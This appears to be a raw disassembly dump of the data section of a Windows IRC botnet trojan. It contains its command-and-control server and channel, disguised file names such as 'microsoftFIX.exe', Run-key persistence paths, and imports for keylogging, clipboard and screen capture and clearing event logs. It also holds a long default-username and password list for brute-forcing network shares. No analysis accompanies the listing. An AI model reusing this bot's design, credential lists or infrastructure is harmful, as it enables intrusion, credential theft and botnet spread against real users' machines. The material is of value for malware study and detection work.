		dd 0FFFFFFFFh, 432150h,	0
		dd offset off_4451B8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4318A0h, 0
dword_435378	dd 3, 435358h, 435238h,	435218h	; DATA XREF: ___:00435394o
dword_435388	dd 0			; DATA XREF: sub_431790+3Fo
					; sub_431840+15o
		dd offset sub_431820
		dd 0
		dd offset dword_435378
dword_435398	dd 19930520h, 1, 4353B8h, 5 dup(0) ; DATA XREF:	SEH_431790o
		dd 0FFFFFFFFh, 432170h,	310h dup(0)
dword_436000	dd 0			; DATA XREF: ___:00417929o
		dd offset loc_402776
		dd offset loc_40BD33
		dd offset sub_4318D0
dword_436010	dd 0			; DATA XREF: ___:00417924o
dword_436014	dd 0			; DATA XREF: ___:00417917o
		dd offset sub_418D40
		dd offset sub_419CB0
		dd offset sub_420320
		dd offset sub_42A7E0
dword_436028	dd 0			; DATA XREF: ___:loc_417912o
dword_43602C	dd 0			; DATA XREF: sub_4179C0+76o
		dd offset sub_418E70
dword_436034	dd 0			; DATA XREF: sub_4179C0:loc_417A31o
dword_436038	dd 0			; DATA XREF: sub_4179C0+88o
		dd offset sub_42A800
dword_436040	dd 4 dup(0)		; DATA XREF: sub_4179C0:loc_417A43o
dword_436050	dd 80000002h, 436D00h, 80000002h, 436D30h, 80000001h, 436D00h
					; DATA XREF: sub_401000+7o
dword_436068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401445+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401445+16o
aS		db '%s',0               ; DATA XREF: sub_401445+3Bo
		align 10h
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401445+58o
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4014E0+Ao
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4014E0+23o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4014E0+2Bo
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4014E0+38o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4014E0+45o
		align 4
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4014E0+52o
		align 4
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4014E0+5Fo
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4014E0+6Co
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4014E0+79o
		align 4
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4014E0+86o
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4014E0+93o
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4014E0+A0o
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4014E0:loc_4015E8o
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4014E0:loc_401615o
		align 4
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4014E0+14Ao
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4014E0+152o
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4014E0+15Fo
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4014E0+16Co
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4014E0+179o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4014E0+186o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4014E0+193o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4014E0+1A0o
		align 4
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4014E0:loc_4016D8o
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4014E0+200o
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4014E0+20Do
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4014E0+21Ao
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4014E0:loc_40173Fo
		align 4
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4014E0+270o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4014E0+278o
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4014E0+285o
		align 4
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4014E0+292o
		align 4
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4014E0+29Fo
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4014E0+2ACo
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_4014E0+2B9o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_4014E0+2C6o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4014E0:loc_4017F2o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4014E0+31Ao
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4014E0+327o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4014E0:loc_401837o
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4014E0+35Fo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4014E0+36Co
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4014E0+379o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4014E0+386o
		align 4
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4014E0+393o
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4014E0+3A0o
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4014E0+3ADo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4014E0:loc_4018E5o
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4014E0:loc_40190Do
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4014E0+43Eo
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4014E0+446o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4014E0+453o
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4014E0+460o
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4014E0+46Do
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4014E0+47Ao
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4014E0+487o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4014E0+494o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4014E0+4A1o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4014E0+514o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4014E0+525o
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4014E0+52Do
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4014E0+53Ao
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4014E0+547o
		align 4
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4014E0+554o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4014E0+561o
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4014E0+56Eo
		align 4
aSocket		db 'socket',0           ; DATA XREF: sub_4014E0+57Bo
		align 4
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4014E0+588o
aConnect	db 'connect',0          ; DATA XREF: sub_4014E0+595o
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4014E0+5A2o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4014E0+5AFo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4014E0+5BCo
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_4014E0+5C9o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4014E0+5D6o
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4014E0+5E3o
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4014E0+5F0o
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_4014E0+5FDo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4014E0+60Ao
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4014E0+617o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4014E0+629o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4014E0+631o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4014E0+63Eo
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4014E0+64Bo
		align 4
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4014E0+658o
		align 4
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4014E0+665o
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4014E0+672o
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4014E0+67Fo
		align 10h
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4014E0+68Co
		align 10h
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4014E0+699o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4014E0+6A6o
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4014E0:loc_401CBFo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4014E0+7F0o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4014E0+7F8o
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4014E0+805o
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4014E0+812o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4014E0+81Fo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4014E0+82Co
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4014E0+839o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4014E0+846o
		align 10h
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4014E0+853o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4014E0+860o
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4014E0+8D2o
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4014E0:loc_401DDFo
		align 10h
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4014E0+90Co
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4014E0+914o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4014E0+921o
		align 10h
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4014E0:loc_401E3Eo
		align 10h
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4014E0+96Fo
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4014E0+977o
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4014E0+984o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4014E0+991o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4014E0+99Eo
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4014E0+9ABo
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4014E0+9B8o
		align 4
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4014E0+9C5o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4014E0+9D2o
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4014E0+9DFo
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4014E0+9ECo
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_4014E0+9F9o
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4014E0:loc_401F5Ao
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4014E0+A87o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4014E0+A8Fo
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4014E0:loc_401FA4o
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4014E0+AD1o
		align 10h
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4014E0+AD9o
		align 4
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4014E0:loc_401FEEo
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4014E0+B1Bo
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4014E0+B23o
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4014E0+B30o
		align 4
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4014E0+B3Do
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4014E0:loc_402062o
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4014E0+B8Fo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4014E0+B97o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4014E0:loc_4020ACo
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4014E0+BD9o
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4014E0+BE1o
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4014E0+BEEo
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4014E0+BFBo
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4014E0+C08o
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4014E0+C15o
		align 10h
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4014E0:loc_40214Ao
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4014E0+C77o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4014E0+C7Fo
		align 4
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+28o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+5Co
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+90o
		align 4
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+C4o
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+F8o
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40219C+12Co
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40219C+160o
		align 4
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+194o
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40219C+1C8o
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40219C+1FCo
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+230o
		align 10h
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+264o
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+298o
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+2CCo
		align 10h
unk_436AF0	db  2Dh	; -		; DATA XREF: sub_40219C+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
a__3:					; DATA XREF: ___:004024FCo
		unicode	0, <.>,0
a__4:					; DATA XREF: ___:00402514o
		unicode	0, <.>,0
unk_436B18	db  2Dh	; -		; DATA XREF: sub_402599+8Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
unk_436B44	db  2Dh	; -		; DATA XREF: sub_402599:loc_40262Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_436B74	db  2Dh	; -		; DATA XREF: sub_402599:loc_4025F2o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_436B98	db  2Dh	; -		; DATA XREF: sub_402599:loc_40265Eo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_436BC8	db  2Dh	; -		; DATA XREF: sub_402599+43o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGetting_0	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40267D+46o
dword_436C00	dd 0F5Fh		; DATA XREF: ___:00402C30r
					; ___:00402CC5r
dword_436C04	dd 0F5Fh		; DATA XREF: ___:00402D11r
dword_436C08	dd 7E4h			; DATA XREF: sub_403038:loc_406FEDr
dword_436C0C	dd 45h			; DATA XREF: sub_403038+34FCr
					; sub_4097CE+42r
dword_436C10	dd 7D1h			; DATA XREF: sub_403038:loc_40661Fr
					; sub_4097CE:loc_409A98r
dword_436C14	dd 201h			; DATA XREF: sub_403038:loc_406795r
word_436C18	dw 7C7h			; DATA XREF: sub_403038:loc_407110r
		align 4
dword_436C1C	dd 1			; DATA XREF: sub_403038+627r
dword_436C20	dd 1			; DATA XREF: ___:004028CCr
dword_436C24	dd 1			; DATA XREF: ___:loc_402AD0r
					; sub_411FA3+Cr
byte_436C28	db 2Eh			; DATA XREF: sub_403038+A61r
					; sub_403038+B1Br ...
		align 4
dword_436C2C	dd 5			; DATA XREF: sub_408768+39r
					; sub_408768+5Fr ...
dword_436C30	dd 4			; DATA XREF: sub_402D58+78r
					; sub_403038+273r ...
dword_436C34	dd 1			; DATA XREF: sub_402D58+72r
					; sub_403038+26Dr
aMqbol		db 'mqbol',0            ; DATA XREF: ___:004027EFo
					; sub_403038:loc_406E4Ao ...
		align 10h
aBy		db 'By',0               ; DATA XREF: sub_403038:loc_407216o
		align 4
aH4ck3d39355	db 'H4CK3D39355',0      ; DATA XREF: sub_403038+55ABo
					; sub_403038+567Ao
aIrc_mqbol_com	db 'irc.mqbol.com',0    ; DATA XREF: ___:00402C1Co
					; ___:00402CB6o
		align 10h
aRpmxp		db '#RpmXp#',0          ; DATA XREF: ___:00402C3Co
					; ___:00402CCCo
aSend_0		db 'send',0             ; DATA XREF: ___:00402C53o
					; ___:00402CDEo
		align 10h
byte_436C70	db 69h			; DATA XREF: ___:loc_402CF4r
					; ___:00402D02o
		db 72h,	63h, 2Eh
		dd 6F62716Dh, 6F632E6Ch, 6Dh
dword_436C80	dd 6D705223h, 237058h	; DATA XREF: ___:00402D18o
aSend_1		db 'send',0             ; DATA XREF: ___:00402D2Ao
		align 10h
aMicrosoftfix_e	db 'microsoftFIX.exe',0 ; DATA XREF: ___:004028D2o
					; ___:004028F6w ...
		align 4
aXtx1_sys	db 'xtx1.sys',0
		align 10h
aMicrosoftGetwa	db 'MicroSoft Getway mqbol',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aMicrosoft_exe	db 'microsoft.exe',0
		align 4
aXRi		db '-x+Ri',0            ; DATA XREF: sub_403038+56FAo
		align 4
aRpmxp_0	db '#RpmXp',0           ; DATA XREF: sub_403038+2022o
					; sub_403038+203Eo ...
		align 4
off_436CEC	dd offset dword_43702C	; DATA XREF: sub_403038:loc_40862Do
off_436CF0	dd offset aMircV6_10Khale ; DATA XREF: sub_403038+889r
					; sub_403038+5611o
					; "mIRC	v6.10 Khaled Mardam-Bey"
		dd offset aMircV6_12Khale ; "mIRC v6.12	Khaled Mardam-Bey"
		dd offset aMircV6_14Khale ; "mIRC v6.14	Khaled Mardam-Bey"
		dd offset aMircV6_16Khale ; "mIRC v6.16	Khaled Mardam-Bey"
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\OLE',0
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 8
		dd offset dword_4D318C
		dd offset aAdministrato_1 ; "administrator"
		dd offset aAdministrado_0 ; "administrador"
		dd offset aAdministrate_0 ; "administrateur"
		dd offset aAdministrat_0 ; "administrat"
		dd offset aAdmins_0	; "admins"
		dd offset aAdmin_0	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003_0	; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_1	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault_0	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_5	; "server"
		dd offset aRoot_0	; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser_1	; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter_0	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob_0	; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase_0	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2_0	; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa_0		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle_0	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet_0	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent_0	; "student"
		dd offset aTeacher_0	; "teacher"
		dd offset aStaff_0	; "staff"
		align 8
dword_437028	dd 10h			; DATA XREF: sub_403038+ACBr
					; sub_403038+AF7r ...
dword_43702C	dd 65726944h, 6D646140h, 6E2E6E69h, 7465h ; DATA XREF: ___:off_436CECo
aMircV6_10Khale	db 'mIRC v6.10 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_436CF0o
		align 4
aMircV6_12Khale	db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: ___:00436CF4o
		align 4
aMircV6_14Khale	db 'mIRC v6.14 Khaled Mardam-Bey',0 ; DATA XREF: ___:00436CF8o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:00436CFCo
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:00436DA8o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:00436DACo
		align 4
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:00436DB0o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:00436DB4o
aAdmins		db 'admins',0           ; DATA XREF: ___:00436DB8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: ___:00436DBCo
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:00436DC0o
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:00436DC4o
		align 4
aComputer	db 'computer',0         ; DATA XREF: ___:00436DC8o
		align 4
aOwner		db 'owner',0            ; DATA XREF: ___:00436DCCo
		align 4
aStudent	db 'student',0          ; DATA XREF: ___:00436DD0o
aTeacher	db 'teacher',0          ; DATA XREF: ___:00436DD4o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: ___:00436DD8o
		align 4
aGuest_0	db 'guest',0            ; DATA XREF: ___:00436DDCo
		align 10h
aDefault	db 'default',0          ; DATA XREF: ___:00436DE0o
aDatabase	db 'database',0         ; DATA XREF: ___:00436DE4o
		align 4
aDba		db 'dba',0              ; DATA XREF: ___:00436DE8o
aOracle		db 'oracle',0           ; DATA XREF: ___:00436DECo
		align 10h
aDb2		db 'db2',0              ; DATA XREF: ___:00436DF0o
